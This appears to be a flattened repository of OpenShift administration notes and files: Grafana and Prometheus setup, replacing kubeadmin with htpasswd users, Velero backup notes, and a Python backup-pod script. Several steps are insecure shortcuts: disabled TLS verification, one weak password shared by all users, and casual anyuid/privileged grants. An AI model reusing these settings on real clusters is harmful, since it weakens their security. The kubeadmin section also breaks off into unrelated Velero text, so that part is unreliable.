PROJECT_NAME="grafana" 100 | oc new-project $PROJECT_NAME 101 | 102 | oc create -f deploy/crds 103 | oc create -f deploy/roles -n ${PROJECT_NAME} 104 | oc create -f deploy/cluster_roles 105 | oc create -f deploy/operator.yaml -n ${PROJECT_NAME} 106 | # Verify that the operator is up and running 107 | ``` 108 | 109 | ### Setup a grafana instance 110 | 111 | Time to jump back to my repo 112 | 113 | ```shell 114 | export PROJECT_NAME="grafana" 115 | export ADMIN_PASSWORD="superHardPassword" 116 | # create an instance of grafana 117 | oc process -f prometheus/grafana/grafana-instance-template.yaml PROJECT_NAME="${PROJECT_NAME}" \ 118 | ADMIN_PASSWORD="${ADMIN_PASSWORD}" -o yaml | oc apply -f - 119 | 120 | # grant cluster-monitoring-view to the service account that the operator created 121 | oc adm policy add-cluster-role-to-user cluster-monitoring-view -z grafana-serviceaccount 122 | 123 | # Create a tenant based datasource (using kube_rbac_proxy) to query openshift-monitoring 124 | # NOTE: This will also create the configmap to mirror the GrafanaDataSource CR 125 | oc process -f prometheus/grafana/openshift-metrics-datasource-template.yaml \ 126 | PROJECT_NAME="${PROJECT_NAME}" DATASOURCE_NAME=prometheus TOKEN=$(oc serviceaccounts get-token grafana-serviceaccount) | oc apply -f - 127 | ``` 128 | 129 | Now you will have a Grafna using thanos-querier as your default data source. 130 | It enabels us to get data from both the internal prometheus instance and the one for our own apps. 131 | 132 | Now all you need to do is to set up a grafanadashboards crd or do it manually inside your grafna instance. 133 | How to do that is something that i won't cover here. But i recomend checking out the kuberhealthy part of this repo. 134 | -------------------------------------------------------------------------------- /prometheus/random_prom.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Namespace 3 | metadata: 4 | name: ns1 5 | --- 6 | apiVersion: extensions/v1beta1 7 | kind: Deployment 8 | metadata: 9 | labels: 10 | app: prometheus-example-app 11 | name: prometheus-example-app 12 | namespace: ns1 13 | spec: 14 | replicas: 1 15 | selector: 16 | matchLabels: 17 | app: prometheus-example-app 18 | template: 19 | metadata: 20 | labels: 21 | app: prometheus-example-app 22 | spec: 23 | containers: 24 | - image: quay.io/brancz/prometheus-example-app:v0.1.0 25 | imagePullPolicy: IfNotPresent 26 | name: prometheus-example-app 27 | --- 28 | apiVersion: v1 29 | kind: Service 30 | metadata: 31 | labels: 32 | app: prometheus-example-app 33 | name: prometheus-example-app 34 | namespace: ns1 35 | spec: 36 | ports: 37 | - port: 8080 38 | protocol: TCP 39 | targetPort: 8080 40 | name: web 41 | selector: 42 | app: prometheus-example-app 43 | type: ClusterIP 44 | -------------------------------------------------------------------------------- /prometheus/rbac-mon.yaml: -------------------------------------------------------------------------------- 1 | kind: ClusterRole 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | metadata: 4 | name: monitor-crd-edit 5 | rules: 6 | - apiGroups: ["monitoring.coreos.com"] 7 | resources: ["prometheusrules", "servicemonitors", "podmonitors"] 8 | verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] 9 | -------------------------------------------------------------------------------- /prometheus/service-monitor.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: monitoring.coreos.com/v1 2 | kind: ServiceMonitor 3 | metadata: 4 | labels: 5 | k8s-app: prometheus-example-monitor 6 | name: prometheus-example-monitor 7 | namespace: ns1 8 | spec: 9 | endpoints: 10 | - interval: 30s 11 | port: web 12 | scheme: http 13 | selector: 14 | matchLabels: 15 | app: prometheus-example-app 16 | -------------------------------------------------------------------------------- /remove_kubeadmin.md: -------------------------------------------------------------------------------- 1 | # Remove kubeadmin 2 | 3 | So it's time to remove your default kubeadmin account. 4 | For ease of use lets use htpasswd 5 | 6 | ## Create users 7 | 8 | Generate a htpasswd file for a few users 9 | 10 | ```bash 11 | cd 12 | touch htpasswd 13 | htpasswd -Bb htpasswd andrew openshift 14 | htpasswd -Bb htpasswd david openshift 15 | htpasswd -Bb htpasswd karla openshift 16 | ``` 17 | 18 | oc create secret generic htpasswd --from-file=htpasswd -n openshift-config 19 | 20 | ```bash 21 | oc apply -f - < velero.yaml 37 | 38 | ## Restic 39 | 40 | Add "--use-restic" to your velero install command. 41 | This will make it possible to run file by file backup of a pvc and store it in a s3 bucket. 42 | 43 | The problem is that currently can't disable the certificate verification on the restic [pod](https://github.com/vmware-tanzu/velero/blob/master/design/)custom-ca-support.md 44 | 45 | Work on this is onging from veleros point of view. 46 | 47 | A potential workaround is to add your own ca certificate to the velero pod. 48 | Push the file to your own container repo and update the daemonset with the new image. 49 | And it should be able to talk to your storage bucket. 50 | 51 | ```Dockerfile 52 | FROM velero/velero:v1.3.0 53 | COPY my-own.crt /usr/share/ca-certificates/ 54 | COPY ca-certificates.conf /etc/ca-certificates.conf 55 | USER root 56 | RUN /usr/sbin/update-ca-certificates 57 | USER nobody:nogroup 58 | # ENTRYPOINT /bin/bash 59 | 60 | ``` 61 | 62 | Example ca-certificates.conf 63 | 64 | ```shell 65 | $ cat ca-certificates.conf 66 | 67 | my-own.crt 68 | 69 | ``` 70 | 71 | The container dosen't contain curl or wget (can ofc install it) 72 | or you can use: 73 | 74 | ```openssl s_client -connect s3-openshift-storage.apps.test01.mydomain.com:443``` 75 | Look for "Verify return code: 0 (ok)" 76 | 77 | This will indicate that your ca cert is added correctly and the restic backup should work. 78 | 79 | ## Snapshot 80 | 81 | **Vsphere** currently don't support snapshoting in it's csi. Until that is fixed the snapshoting won't work. 82 | But if you are using one of the big cloud providers it should look something like this. 83 | 84 | ### How to maybe do it 85 | 86 | I put a lots of time in to this reserach so i don't want to remove it. 87 | But this is probably how you will do it in the future for vshpere and if you have a csi that supports snapshot together with the correct 88 | velero plugin something like this should work. 89 | 90 | I first need to add velero to be able to create root containers. 91 | 92 | oc adm policy add-scc-to-user anyuid -z velero 93 | 94 | velero snapshot-location create default --provider velero.io/vsphere 95 | 96 | edit deployment/velero -n velero 97 | 98 | spec.template.spec.args: 99 | 100 | - args: 101 | - server 102 | - --default-volume-snapshot-locations 103 | - velero.io/vsphere:example-default 104 | 105 | Update image on the velero deployment: 106 | vsphereveleroplugin/velero-plugin-for-vsphere 107 | 108 | Also add: 109 | hostNetwork: true 110 | Under 111 | spec: 112 | template: 113 | spec: 114 | containers: 115 | And not what it says in the documentation directly under spec.teamplte.spec. 116 | 117 | #### Crete secret 118 | 119 | You also need to create a secret for vshpere, this isn't documentated... 120 | username: username1 121 | password: supersecretpassword 122 | 123 | secret-name: cloud-credentials 124 | It currently says the aws credentials... 125 | 126 | The input should be in gcp and aws: 127 | data": { 128 | "cloud": "SECRET KEY" 129 | }, 130 | 131 | And if i read the go code for vsphere it should be the same. 132 | 133 | #### Verfiy snapshot location creation 134 | 135 | velero snapshot-location get 136 | 137 | ## CRD 138 | 139 | oc get backupstoragelocations default 140 | 141 | ## Example nginx 142 | 143 | Nginx runs as root but it's a simple example, live with it. It's a poc :). 144 | 145 | oc apply -f nginx-example.yaml 146 | 147 | oc project nginx-example 148 | oc create serviceaccount useroot 149 | oc adm policy add-scc-to-user anyuid -z useroot 150 | oc patch deployment nginx-deploy --patch '{"spec":{"template":{"spec":{"serviceAccountName": "useroot"}}}}' 151 | 152 | Create some traffi and verify the output of the logs: 153 | kubectl exec -it nginx-deploy-6fcdc96c8-q46c2 --namespace nginx-example -- cat /var/log/nginx/access.log 154 | 155 | ## Create backup 156 | 157 | velero backup create nginx-backup --selector app=nginx --include-namespaces nginx-example 158 | 159 | velero backup create nginx-backup --snapshot-volumes=true --volume-snapshot-locations=aws-default --selector app=nginx --include-namespaces nginx-example 160 | 161 | View the created backup 162 | 163 | oc get backup nginx-backup -n velero 164 | 165 | ### View backup through velero 166 | 167 | velero backup describe nginx-backup --insecure-skip-tls-verify --details 168 | 169 | ## Restore 170 | 171 | Time to testout the restore procedure 172 | 173 | ### Deleteoc adm policy add-scc-to-user privileged -z velero -n velero 174 | 175 | velero restore create --from-backup nginx-backup 176 | 177 | #### info about restore 178 | 179 | velero restore describe nginx-backup-20200228104915 --insecure-skip-tls-verify 180 | 181 | velero restore logs nginx-backup-20200228104915 --insecure-skip-tls-verify 182 | 183 | The backup won't work perfectly due to missing serviceaccount. 184 | Patch your resource again and it will jump up once again. 185 | -------------------------------------------------------------------------------- /velero/backup-pod.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # A good to have script created by one of my co-workers, steeling with pride 4 | 5 | import argparse 6 | import json 7 | import requests 8 | import sys 9 | 10 | parser = argparse.ArgumentParser(description='Backup Pod Creation Script.') 11 | parser.add_argument("-t", "--token", 12 | help="OpenShift Token", required=True) 13 | parser.add_argument("-a", "--api", help="OpenShift API", required=True) 14 | parser.add_argument("-lk", "--label-key", help="Label Key", required=True) 15 | parser.add_argument("-lv", "--label-value", help="Label value", required=True) 16 | parser.add_argument("-n", "--namespace", help="Namespace", required=True) 17 | parser.add_argument("-p", "--pod_name", help="Pod Name", default="pv-backup") 18 | args = parser.parse_args() 19 | 20 | namespace = args.namespace 21 | token = args.token 22 | api = args.api 23 | label_key = args.label_key 24 | label_value = args.label_value 25 | pod_name = args.pod_name 26 | 27 | 28 | session = requests.Session() 29 | session.verify = False 30 | session.headers = { 31 | 'Accept': 'application/json', 32 | 'Authorization': 'Bearer {0}'.format(token), 33 | } 34 | 35 | namespace_pvc = session.get( 36 | "{0}/api/v1/namespaces/{1}/persistentvolumeclaims?labelSelector={2}%3D{3}".format(api, namespace, label_key, label_value)) 37 | namespace_pvc.raise_for_status() 38 | 39 | if namespace_pvc.status_code != 200: 40 | print("Failed to query OpenShift API. Status code: {0}".format( 41 | namespace_pvc.status_code)) 42 | sys.exit(1) 43 | 44 | result_json = namespace_pvc.json() 45 | 46 | pvc_names = [str(pvc['metadata']['name']) for pvc in result_json['items']] 47 | 48 | pod = { 49 | "apiVersion": "v1", 50 | "kind": "Pod", 51 | "metadata": { 52 | "name": pod_name, 53 | "namespace": namespace, 54 | "annotations": { 55 | "backup.velero.io/backup-volumes": ",".join(pvc_names) 56 | }, 57 | "labels": { 58 | label_key: label_value 59 | } 60 | }, 61 | "spec": { 62 | "containers": [ 63 | { 64 | "command": [ 65 | "/bin/bash", 66 | "-c", 67 | "while true; do sleep 10; done" 68 | ], 69 | "image": "registry.redhat.io/ubi7/ubi:latest", 70 | "imagePullPolicy": "IfNotPresent", 71 | "name": pod_name, 72 | "resources": { 73 | "requests": { 74 | "cpu": "200m", 75 | "memory": "256Mi" 76 | }, 77 | "limits": { 78 | "cpu": "500m", 79 | "memory": "512Mi" 80 | } 81 | }, 82 | "volumeMounts": [] 83 | } 84 | ], 85 | "volumes": [], 86 | "restartPolicy": "Always" 87 | } 88 | } 89 | 90 | for pvc_name in pvc_names: 91 | pod['spec']['containers'][0]['volumeMounts'].append( 92 | {"name": pvc_name, "mountPath": "/tmp/{0}".format(pvc_name)}) 93 | 94 | pod['spec']['volumes'].append( 95 | {"name": pvc_name, "persistentVolumeClaim": {"claimName": pvc_name}}) 96 | 97 | pod_create = session.post( 98 | url="{0}/api/v1/namespaces/{1}/pods".format(api, namespace), json=pod) 99 | 100 | if pod_create.status_code != 201: 101 | print("Error Creating Pod. Status code: {0}".format( 102 | pod_create.status_code)) 103 | sys.exit(1) 104 | 105 | print("Pod Created. Name: {0}. Number of Volumes: {1}".format( 106 | pod_name, len(pvc_names))) 107 | -------------------------------------------------------------------------------- /velero/backup.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: velero.io/v1 2 | kind: Backup 3 | metadata: 4 | labels: 5 | velero.io/storage-location: default 6 | name: nginx-backup 7 | namespace: velero 8 | spec: 9 | hooks: {} 10 | includedNamespaces: 11 | - nginx-example 12 | labelSelector: 13 | matchLabels: 14 | app: nginx 15 | storageLocation: default 16 | ttl: 720h0m0s 17 | -------------------------------------------------------------------------------- /velero/credentials-velero: -------------------------------------------------------------------------------- 1 | [default] 2 | aws_access_key_id=yourawskey 3 | aws_secret_access_key=yourawssecret 4 | -------------------------------------------------------------------------------- /velero/nginx-example.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: Namespace 4 | metadata: 5 | name: nginx-example 6 | labels: 7 | app: nginx 8 | 9 | --- 10 | kind: PersistentVolumeClaim 11 | apiVersion: v1 12 | metadata: 13 | name: nginx-logs 14 | namespace: nginx-example 15 | labels: 16 | app: nginx 17 | spec: 18 | accessModes: 19 | - ReadWriteOnce 20 | resources: 21 | requests: 22 | storage: 5Gi 23 | 24 | --- 25 | apiVersion: apps/v1 26 | kind: Deployment 27 | metadata: 28 | name: nginx-deploy 29 | namespace: nginx-example 30 | labels: 31 | app: nginx 32 | spec: 33 | replicas: 1 34 | selector: 35 | matchLabels: 36 | app: nginx 37 | template: 38 | metadata: 39 | labels: 40 | app: nginx 41 | spec: 42 | volumes: 43 | - name: nginx-logs 44 | persistentVolumeClaim: 45 | claimName: nginx-logs 46 | containers: 47 | - image: nginx:stable 48 | name: nginx 49 | ports: 50 | - containerPort: 80 51 | volumeMounts: 52 | - mountPath: "/var/log/nginx" 53 | name: nginx-logs 54 | readOnly: false 55 | 56 | --- 57 | apiVersion: v1 58 | kind: Service 59 | metadata: 60 | labels: 61 | app: nginx 62 | name: nginx-svc 63 | namespace: nginx-example 64 | spec: 65 | ports: 66 | - port: 80 67 | targetPort: 80 68 | selector: 69 | app: nginx -------------------------------------------------------------------------------- /velero/velero-snapshot.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: velero.io/v1 2 | kind: VolumeSnapshotLocation 3 | metadata: 4 | name: aws-default 5 | namespace: velero 6 | spec: 7 | # Name of the volume snapshotter plugin to use to connect to this location. 8 | # 9 | # Required. 10 | provider: velero.io/aws 11 | 12 | config: 13 | # The AWS region where the volumes/snapshots are located. 14 | # 15 | # Required. 16 | region: eu1 17 | 18 | # AWS profile within the credentials file to use for the volume snapshot location. 19 | # 20 | # Optional (defaults to "default"). 21 | profile: "default" 22 | --------------------------------------------------------------------------------